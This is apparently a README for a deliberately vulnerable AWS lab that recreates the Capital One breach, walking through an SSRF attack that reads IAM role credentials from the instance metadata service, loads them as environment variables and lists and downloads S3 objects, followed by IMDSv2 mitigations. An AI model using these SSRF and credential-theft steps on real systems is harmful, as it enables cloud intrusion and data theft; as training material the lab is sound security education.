Awesome

caponeme

caponeme is a vulnerable cloud environment that meant to mock Capital One Breach for educational purposes

Disclaimer

This CloudFormation template is NOT intended for deployment in a production account / environment. It is an example for a vulnerable web application that allows AWS credentials being compromised. Please use this with CAUTION and consider using new AWS account for this kind of experiment.

What is Capital One Breach?

Click here to find out

Getting Started

Make sure you have the latest version of awscli installed on your terminal.
This template can run on any region, assuming that the LAMP AMI's are correct from the CDK lookup.

Deployment

Download the latest release yaml template file.
Log in to the AWS console
Go to CloudFormation service
Create new stack and upload the yaml file you downloaded.
Allow the template to create IAM resources on your behalf and create the stack.
Take note of the S3 Bucket name from the CloudFormation Template Outputs, navigate to this bucket and upload some text files inside
Click on the SSRFWebURL URL from the CloudFormation Template Outputs, it will redirect you to the vulnerable web application.

This is the page you should expect to see:

Discovering the contents of the S3 Bucket

On the web application, type the following to get the IAM role name: http://169.254.169.254/latest/meta-data/iam/security-credentials
Using the IAM role name you got on the previous step, discover the AWS credentials http://169.254.169.254/latest/meta-data/iam/security-credentials/[IAMRoleName]

You'll get something like:

{ "Code" : "Success", "LastUpdated" : "2019-12-22T21:42:57Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIASANNLTVCBCFP445O", "SecretAccessKey" : "v0osgTGnL0n09dHQA6xztS/ZuSS3p8yu+JZ1cAxG", "Token" : "IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIDneXlD6+JLk68XRrQ4X+LrBewvq/9kIYRYhonnW5T9qAiEAmpuGWXeh4rqQ14gmiMU8NvKlxODFh23u5qubMpvC9Rkq0QIIHxABGgwxMzgzMzkzOTI4MzYiDCO/mt42DCCYPTmeJSquAstMGvng3WUgZXlgpm5NiJ+RbYQvnmA1BmIt94LcJeoNpC87MZhxpubTd69zWEqtriLRBXp7KoNQNX5K8ag5eY27R0giQssmidCFED9N/uOgD1Tu33vaVEJoFhzKrd1lhFule3EOHFhImRRGsyfalfY7TWN0GaRNGZlanWdBswpkescM3O43G9J27xeMO22ziu4ajonkCaG51r39/LKj5C1g2VfdXPp5sI0q5+qiG0YSXveN6mGqnN5NXAKNGd4ehYdo4Ot01niy0oS9xtDMLSTVu3XjaxGJwqF5fb4l8Q9zGFe3zA94UShK1uGRBWOfTMHZRwaGYRSTcwximDjEWO4UPKYa50Es5d/12hJdwuFIXPC82i9LyBHXw/ayYn1xyH3bpBwBoYHiereBSuMmMNPG/+8FOs4CX49Hw3xx4pz2/ibkiJ1hjh2/Qu4KZtfTk4SN49q/EAgmP6dx6l/17pRi+T+B7bGk+cES0Ei2806uoTArK8STiO/W3PejELPeoWgy2av+oiL/zt4xXI+hNFdO1xXZXrBGaLbKTZRby+MyrvmDw8GJpxmE1Pyt42pRjxdeQ0NLEcM05JHtxq0/73tEUepsm0Z+6RUqXi9+/BSaP1tRzViApch36d8oJgWARZY5A1eX1d82hCeCiGgNuZxPWC53H3lNXjSRC3dGrx3dI8IJwXgQgEj8e3QP4eeoN3+3H2XFlXE+DopMy6P4ejk8c6Xdk41FbJZrTe1ZoulF2OxLfQbmCOcl85xqJyDEWuZleddagb3jr/Kp7X3Io4bgA+cc0kuQEdLEkfWsKoE8G/uCkSy+tFwn0eqAUmoLVqCxmXS++ZOK3+VX1axY1EMzp68S1g==", "Expiration" : "2019-12-23T04:17:43Z" }

If using Linux, type the following on your terminal to impersonate the IAM role

export AWS_ACCESS_KEY_ID="<AccessKeyId>"
export AWS_SECRET_ACCESS_KEY="<SecretAccessKey>"
export AWS_SESSION_TOKEN="<Token>"

If using Windows, type the following on your terminal to impersonate the IAM role
```
set AWS_ACCESS_KEY_ID=<AccessKeyId>
set AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
set AWS_SESSION_TOKEN=<Token>
```
Note: Do not include quotes when setting Windows env variables.
If it doesn't work on Windows, you can also modify the AWS credential file at C:\Users\[username]\.aws\credentials, as shown on the below capture:
Now, you can see all the objects inside this bucket with aws s3api list-objects --bucket <YOUR-S3-BUCKET>
Then, you can download the bucket objects using aws s3api get-object --bucket <YOUR-S3-BUCKET> --key <YOUR-S3-OBJECT> demo.txt

Mitigation

Mitigation #1 - Enable Security Token on Metadata Service

From a privileged shell session on your AWS account (not the hacked session), type the following command to enable security token on metadata server of the instance:
```
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --http-endpoint enabled --http-token required
```
Using your web browser, switch to the vulnerable web application and repeat these steps. What happens?

Roll back by running the following command:

aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --http-endpoint enabled --http-token optional

Mitigation #2 - Limit Role Access Credentials to Instance Metadata Service V2

Go to the IAM role attached to the EC2 Instance, by locating the instance, then pressing on the entity written on IAM role. Press on Attach inline policy, then apply the following policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "RequireImdsV2",
            "Effect": "Deny",
            "Action": "*",
            "Resource": "*",
            "Condition": {
                "StringNotEquals": {
                    "ec2:MetadataHttpTokens": "required"
                }
            }
        }
    ]
}

Call the policy IMDSv2InlinePolicy, press Review policy and then Create policy.
Try to run the list-objects or get-object from the "hacked" shell again. What happens?

Cleanup

Empty the S3 Bucket
Delete the CloudFormation stack (won't work if you haven't cleared the bucket from objects)

Todo

You tell me?

Credits

We're using some tech to make this work:
- Giraffe - Vulnerable web application
- Bitnami LAMP Stack - AMI using to quickly provision the EC2 Instance
Thanks to @Kharkovlanok for the multi-region support contribution.

License

MIT